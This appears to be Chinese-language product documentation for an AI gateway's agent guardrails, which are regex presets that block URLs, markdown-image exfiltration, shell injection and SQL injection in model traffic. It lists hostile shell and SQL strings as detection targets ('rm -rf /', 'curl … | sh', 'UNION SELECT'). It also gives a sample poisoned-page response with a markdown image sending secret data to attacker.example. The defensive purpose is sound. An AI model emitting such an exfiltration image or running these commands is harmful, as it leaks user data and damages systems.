跳转到主要内容
当模型驱动工具时,危险字符串就藏在普通内容里:一个智能体 即将抓取的 URL、一张客户端会自动加载的 markdown 图片、一个 模型回显进 shell 工具的 rm -rf /、一个它为 SQL 运行器发出去 执行的 UNION SELECT。一个只考虑 PII 或密钥的内容策略会漏掉 这全部四种。Agent 预设类别正是为这种形态而存在——确定性的 regex 规则,在任何下游工具据其行动之前拦截请求或响应。 这是智能体用例的专注落地页。完整的防护栏引擎——每种规则类型、 字段、阶段和路由——请见防护栏参考

1. 为什么智能体防护栏是一个独立的面

防护栏筛查内容——请求中的文本和响应中的文本。对于一个 智能体,那段文本变成一个动作:URL 被抓取,markdown 被渲染, shell 行被运行,SQL 被执行。所以你用于 PII 的同一个 block / mask 引擎在这里身兼两职——它在智能体的工具层能把负载变成 一个副作用之前,在网关阻止它。 Agent 类别提供四个预设,每一个都是一条动作为 blockregex 规则,分布在两个阶段:
请求上拦截任何 http(s) URL。用于出站 URL 必须被允许 列表而不是开放的智能体流程。种子模式匹配任何 URL;编辑正则 以允许特定域名。
在模型的响应中拦截 markdown 图片嵌入(![alt](url))。 防御在自动加载远程图片的客户端上的图片渲染外泄——一个经典的 数据泄露通道,被渲染的图片 URL 把数据夹带出去。
请求中拦截明显的 shell 注入模式(rm -rf /curl … | shwget … | bashsudo 提权)。用于可能把用户 输入转发进 shell 工具的智能体流程。
拦截携带经典 SQL 注入负载(UNION SELECTOR 1=1DROP TABLE、注释终止符)的模型响应。为自动执行模型 产生的 SQL 的工具提供纵深防御。
两个预设筛查输入,两个筛查输出。 URL Filter 和 Tool Call Shell Block 在请求上触发——在模型运行之前、在任何配额被 计量之前。Markdown Image Block 和 SQL Injection in Output 在 响应上触发——在模型回答之后、在内容到达你的客户端或它的 工具层之前。知道一个风险存在于哪个阶段就是关键所在;参见 输入阶段输出阶段

2. 在控制台中应用一个智能体防护栏

这里的每一步都是你会话下托管网关上的控制台操作。创建和 编辑防护栏需要工作区中的 Developer+。只有最后的 /v1/* 调用使用 sk-orca-... 中继密钥——防护栏本身完全在控制台中配置。
1

打开模板

在控制台中打开 Guardrails,点击 New guardrail 分裂 按钮,从 Agent 模板类别中选择一个预设——例如 Markdown Image Block。它会在正确的阶段播下单条 regex 拦截规则。
2

命名并保存

给它起一个名字(≤ 64 字符),例如 agent-rails,并保存。预设 是种子,而不是锁——之后可以自由添加其他三条 Agent 规则或编辑 正则(参见 §4)。
3

在沙箱中测试它

打开编辑器内的 Test 标签页,粘贴一个样本,选择匹配的 阶段,并在本地运行当前策略——没有上游调用,没有配额(参见 §3)。
4

绑定一个密钥

编辑一个 API 密钥,从 Guardrail 下拉菜单选择 agent-rails (在密钥上设置 guardrail_id),或将它标记为工作区默认值。 参见绑定到密钥账户默认值

3. 绑定前先证明它

在任何密钥指向它之前,先证明规则会触发。打开 Test 标签页, 选择 output 阶段,粘贴一个被攻击者投毒的页面可能诱使模型 发出的响应:
Here is the result: ![status](https://attacker.example/track?d=secret)
沙箱在本地评估当前策略——不会向上游发送任何内容,也不 计量——并返回指明触发规则的 block 判定。要针对一个对抗性和 良性样本的语料库做 A/B 对照, Eval 工具就在隔壁那个 标签页。

4. 组合并调优规则

四个预设是种子。常见做法是把它们组合进一个 agent-rails 防护栏, 并把每个正则收紧到你的技术栈:

允许列表 URL

URL Filter 开始,然后编辑 regex,使它拦截你认可的 域名以外的每一个 URL——把匹配反转为一个允许列表,而不是 一刀切的拦截。

编写你自己的检测器

为你的工具关心的任何负载形态添加一条 regex 规则——RE2 模式,线性时间,无反向引用。模式编译一次并跨请求缓存。
在一个防护栏中把 Agent 规则与引擎的其余部分混合。把它们与一条 PII Shield mask 规则或一个 Secrets Blocker 输入拦截 配对——一个策略可以携带每一种规则类型,引擎会把它们汇聚为单一 判定。block vs. mask vs. flag 见动作

5. 拦截是什么样子

每个 Agent 预设都使用 block 动作。被拦截的请求返回 HTTP 400,错误码为 guardrail_blocked,消息中指明触发的防护栏和 规则:
{
  "error": {
    "code": "guardrail_blocked",
    "message": "request blocked by guardrail \"agent-rails\""
  }
}
被拦截的请求不消耗配额——输入阶段拦截(URL Filter、Tool Call Shell Block)在计量之前触发;输出阶段拦截(Markdown Image Block、SQL Injection in Output)会在响应被拒绝后退回预先 扣除的配额——并被标记为 skip-retry,因为重新运行同一个 提示词只会再次拦截。参见 guardrail_blocked 错误
输出拦截在流式上也会执行。 对于两个输出阶段的 Agent 预设, block 两种方式都成立:在非流式响应上,答案在返回前被筛查; 在流式响应上,一个扫描器会在任何被拦截的内容到达客户端之前 中途切断流。参见 流式覆盖

6. 防护栏是内容;防火墙是工具调用

智能体防护栏是一个强大的第一层,但它们推理的是字符串, 而不是工具语义。它们拦截内容中的一个 shell 行——它们不理解 模型向一个破坏性工具发出了一个结构化的 tool_call,或一个 出站请求正前往一个元数据 IP。 那个工具调用层是防火墙:它评估模型发出的 tool_calls、MCP tools/call 和出站 egress,给出像 allow / audit / deny / pending_approval 的判定。两者组合——防护栏 筛查文本,防火墙治理动作。

防火墙

用 allow / audit / deny / 审批 判定治理模型发出的工具调用、 MCP 调用和 egress。

防护栏 vs. 防火墙

何时使用内容防护栏 vs. 工具调用防火墙——以及如何两者都运行。

保护 AI 智能体

完整的智能体控制栈:内容、工具、MCP 和 egress。

过度自主

这些防护栏应对的威胁——一个做得比它应该做的更多的智能体。

7. 查看触发了什么

每条触发的规则都会记录一条匹配——规则类型、动作、阶段和 一个详情字符串——呈现在工作区 Matches 信息流中。匹配的子串 本身在开启 Log raw content 时才记录,而它默认关闭。 按防护栏、规则类型和动作对信息流分组和过滤,以观察你的智能体 规则命中率并调优误报。参见 Matches 信息流日志与隐私调优误报

8. 接下来去哪里

输出阶段规则

响应筛查如何为 Markdown Image Block 和 SQL Injection in Output 工作。

正则检测器

编写你自己的 RE2 模式以扩展 Agent 规则。

数据外泄

Markdown Image Block 关闭的外泄通道。

危险工具调用

为什么单靠一个内容防护栏不够——把它与防火墙配对。
智能体防护栏让危险字符串不进入智能体发送和接收的内容。要 治理智能体采取的动作——工具调用、MCP 调用和 egress 本身—— 请上移到防火墙并阅读 保护 AI 智能体基线。 完整的防护栏引擎请见防护栏参考